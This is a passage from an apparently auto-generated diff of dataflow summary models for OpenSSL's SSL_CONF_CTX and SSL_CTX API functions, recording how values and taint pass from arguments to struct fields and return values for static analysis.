"SSL_CONF_CTX_clear_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set1_prefix", "(SSL_CONF_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**prefix]", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set1_prefix", "(SSL_CONF_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**prefix]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set_flags", "(SSL_CONF_CTX *,unsigned int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set_ssl", "(SSL_CONF_CTX *,SSL *)", "", "Argument[1]", "Argument[*0].Field[*ssl]", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_CTX_set_ssl_ctx", "(SSL_CONF_CTX *,SSL_CTX *)", "", "Argument[1]", "Argument[*0].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd", "(SSL_CONF_CTX *,const char *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[**2]", "Argument[***2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[*2]", "Argument[***2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[2]", "Argument[***2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_argv", "(SSL_CONF_CTX *,int *,char ***)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_value_type", "(SSL_CONF_CTX *,const char *)", "", "Argument[*0].Field[*prefixlen]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_value_type", "(SSL_CONF_CTX *,const char *)", "", "Argument[*0].Field[*prefixlen]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CONF_cmd_value_type", "(SSL_CONF_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_add_session", "(SSL_CTX *,SSL_SESSION *)", "", "Argument[0]", "Argument[*1].Field[*owner]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_callback_ctrl", "(SSL_CTX *,int,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_clear_options", "(SSL_CTX *,uint64_t)", "", "Argument[*0].Field[*options]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_clear_options", "(SSL_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*options]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_ct_is_enabled", "(const SSL_CTX *)", "", "Argument[*0].Field[*ct_validation_callback]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[**3]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*3]", "Argument[*0].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[3]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_clear_flags", "(SSL_CTX *,unsigned long)", "", "Argument[*0].Field[*dane].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_clear_flags", "(SSL_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_mtype_set", "(SSL_CTX *,const EVP_MD *,uint8_t,uint8_t)", "", "Argument[*1]", "Argument[*0].Field[*dane].Field[***mdevp]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_mtype_set", "(SSL_CTX *,const EVP_MD *,uint8_t,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[**mdevp]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_mtype_set", "(SSL_CTX *,const EVP_MD *,uint8_t,uint8_t)", "", "Argument[2]", "Argument[*0].Field[*dane].Field[*mdmax]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_mtype_set", "(SSL_CTX *,const EVP_MD *,uint8_t,uint8_t)", "", "Argument[3]", "Argument[*0].Field[*dane].Field[**mdord]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_set_flags", "(SSL_CTX *,unsigned long)", "", "Argument[*0].Field[*dane].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_dane_set_flags", "(SSL_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_CA_list", "(const SSL_CTX *)", "", "Argument[*0].Field[**ca_names]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_CA_list", "(const SSL_CTX *)", "", "Argument[*0].Field[*ca_names]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_client_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_client_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_client_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_ctlog_store", "(const SSL_CTX *)", "", "Argument[*0].Field[**ctlog_store]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_ctlog_store", "(const SSL_CTX *)", "", "Argument[*0].Field[*ctlog_store]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_param", "(SSL_CTX *)", "", "Argument[*0].Field[**param]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_param", "(SSL_CTX *)", "", "Argument[*0].Field[*param]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get0_security_ex_data", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_security_ex_data", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_security_ex_data", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_server_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_server_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get0_server_cert_type", "(const SSL_CTX *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_cert_store", "(const SSL_CTX *)", "", "Argument[*0].Field[**cert_store]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_cert_store", "(const SSL_CTX *)", "", "Argument[*0].Field[*cert_store]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_ciphers", "(const SSL_CTX *)", "", "Argument[*0].Field[**cipher_list]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_ciphers", "(const SSL_CTX *)", "", "Argument[*0].Field[*cipher_list]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_client_CA_list", "(const SSL_CTX *)", "", "Argument[*0].Field[**client_ca_names]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_client_CA_list", "(const SSL_CTX *)", "", "Argument[*0].Field[*client_ca_names]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_client_cert_cb", "(SSL_CTX *)", "", "Argument[*0].Field[*client_cert_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_default_passwd_cb", "(SSL_CTX *)", "", "Argument[*0].Field[*default_passwd_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_default_passwd_cb_userdata", "(SSL_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_default_passwd_cb_userdata", "(SSL_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_default_passwd_cb_userdata", "(SSL_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_domain_flags", "(const SSL_CTX *,uint64_t *)", "", "Argument[*0].Field[*domain_flags]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_ex_data", "(const SSL_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_info_callback", "(SSL_CTX *)", "", "Argument[*0].Field[*info_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_keylog_callback", "(const SSL_CTX *)", "", "Argument[*0].Field[*keylog_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_max_early_data", "(const SSL_CTX *)", "", "Argument[*0].Field[*max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_num_tickets", "(const SSL_CTX *)", "", "Argument[*0].Field[*num_tickets]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_options", "(const SSL_CTX *)", "", "Argument[*0].Field[*options]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_quiet_shutdown", "(const SSL_CTX *)", "", "Argument[*0].Field[*quiet_shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_record_padding_callback_arg", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_record_padding_callback_arg", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_record_padding_callback_arg", "(const SSL_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_get_recv_max_early_data", "(const SSL_CTX *)", "", "Argument[*0].Field[*recv_max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_security_callback", "(const SSL_CTX *)", "", "Argument[*0].Field[**cert].Field[*sec_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_security_level", "(const SSL_CTX *)", "", "Argument[*0].Field[**cert].Field[*sec_level]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_ssl_method", "(const SSL_CTX *)", "", "Argument[*0].Field[**method]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_ssl_method", "(const SSL_CTX *)", "", "Argument[*0].Field[*method]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_timeout", "(const SSL_CTX *)", "", "Argument[*0].Field[*session_timeout].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_verify_callback", "(const SSL_CTX *)", "", "Argument[*0].Field[*default_verify_callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_verify_depth", "(const SSL_CTX *)", "", "Argument[*0].Field[**param].Field[*depth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_get_verify_mode", "(const SSL_CTX *)", "", "Argument[*0].Field[*verify_mode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new", "(const SSL_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new", "(const SSL_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[*1]", "ReturnValue[*].Field[**ctlog_store].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[*2]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[**ctlog_store].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[1]", "ReturnValue[*].Field[**ctlog_store].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *,const SSL_METHOD *)", "", "Argument[2]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_get_get_cb", "(SSL_CTX *)", "", "Argument[*0].Field[*get_session_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_get_new_cb", "(SSL_CTX *)", "", "Argument[*0].Field[*new_session_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_get_remove_cb", "(SSL_CTX *)", "", "Argument[*0].Field[*remove_session_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_set_get_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*get_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_set_new_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*new_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sess_set_remove_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*remove_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sessions", "(SSL_CTX *)", "", "Argument[*0].Field[**sessions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_sessions", "(SSL_CTX *)", "", "Argument[*0].Field[*sessions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_CA_list", "(SSL_CTX *,stack_st_X509_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_CA_list", "(SSL_CTX *,stack_st_X509_NAME *)", "", "Argument[1]", "Argument[*0].Field[*ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_ctlog_store", "(SSL_CTX *,CTLOG_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**ctlog_store]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_ctlog_store", "(SSL_CTX *,CTLOG_STORE *)", "", "Argument[1]", "Argument[*0].Field[*ctlog_store]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_security_ex_data", "(SSL_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[**cert].Field[***sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_security_ex_data", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_security_ex_data", "(SSL_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_ex]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_tmp_dh_pkey", "(SSL_CTX *,EVP_PKEY *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**dh_tmp]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set0_tmp_dh_pkey", "(SSL_CTX *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*dh_tmp]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_cert_store", "(SSL_CTX *,X509_STORE *)", "", "Argument[1]", "Argument[*0].Field[*cert_store]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_client_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**client_cert_type]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_client_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**client_cert_type]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_client_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*client_cert_type_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_param", "(SSL_CTX *,X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set1_server_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**server_cert_type]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_server_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**server_cert_type]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set1_server_cert_type", "(SSL_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*server_cert_type_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_allow_early_data_cb", "(SSL_CTX *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[***allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_allow_early_data_cb", "(SSL_CTX *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_allow_early_data_cb", "(SSL_CTX *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*allow_early_data_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_allow_early_data_cb", "(SSL_CTX *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_protos", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*ext].Field[**alpn]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_protos", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[**alpn]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_protos", "(SSL_CTX *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*alpn_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_select_cb", "(SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *)", "", "Argument[**2]", "Argument[*0].Field[*ext].Field[***alpn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_select_cb", "(SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *)", "", "Argument[*2]", "Argument[*0].Field[*ext].Field[**alpn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_select_cb", "(SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*alpn_select_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_alpn_select_cb", "(SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*alpn_select_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_async_callback", "(SSL_CTX *,SSL_async_callback_fn)", "", "Argument[1]", "Argument[*0].Field[*async_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_async_callback_arg", "(SSL_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_async_callback_arg", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_async_callback_arg", "(SSL_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_block_padding", "(SSL_CTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*block_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_block_padding", "(SSL_CTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*hs_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_block_padding_ex", "(SSL_CTX *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*block_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_block_padding_ex", "(SSL_CTX *,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*hs_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_cb", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[**cert].Field[***cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_cb", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**cert].Field[**cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_cb", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*cert_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_cb", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[**cert].Field[*cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_store", "(SSL_CTX *,X509_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**cert_store]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_store", "(SSL_CTX *,X509_STORE *)", "", "Argument[1]", "Argument[*0].Field[*cert_store]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_verify_callback", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***app_verify_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_verify_callback", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**app_verify_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_verify_callback", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*app_verify_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cert_verify_callback", "(SSL_CTX *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*app_verify_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cipher_list", "(SSL_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cipher_list", "(SSL_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_CA_list", "(SSL_CTX *,stack_st_X509_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**client_ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_CA_list", "(SSL_CTX *,stack_st_X509_NAME *)", "", "Argument[1]", "Argument[*0].Field[*client_ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_cert_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*client_cert_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_cert_engine", "(SSL_CTX *,ENGINE *)", "", "Argument[1]", "Argument[*0].Field[*client_cert_engine]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_hello_cb", "(SSL_CTX *,SSL_client_hello_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[***client_hello_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_hello_cb", "(SSL_CTX *,SSL_client_hello_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**client_hello_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_hello_cb", "(SSL_CTX *,SSL_client_hello_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*client_hello_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_client_hello_cb", "(SSL_CTX *,SSL_client_hello_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*client_hello_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cookie_generate_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*app_gen_cookie_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_cookie_verify_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*app_verify_cookie_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_ct_validation_callback", "(SSL_CTX *,ssl_ct_validation_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_ct_validation_callback", "(SSL_CTX *,ssl_ct_validation_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_ct_validation_callback", "(SSL_CTX *,ssl_ct_validation_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*ct_validation_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_ct_validation_callback", "(SSL_CTX *,ssl_ct_validation_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_default_passwd_cb", "(SSL_CTX *,pem_password_cb *)", "", "Argument[1]", "Argument[*0].Field[*default_passwd_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_default_passwd_cb_userdata", "(SSL_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_default_passwd_cb_userdata", "(SSL_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_default_passwd_cb_userdata", "(SSL_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_default_read_buffer_len", "(SSL_CTX *,size_t)", "", "Argument[1]", "Argument[*0].Field[*default_read_buf_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_domain_flags", "(SSL_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*domain_flags]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_generate_session_id", "(SSL_CTX *,GEN_SESSION_CB)", "", "Argument[1]", "Argument[*0].Field[*generate_session_id]", "value", "dfc-generated"] 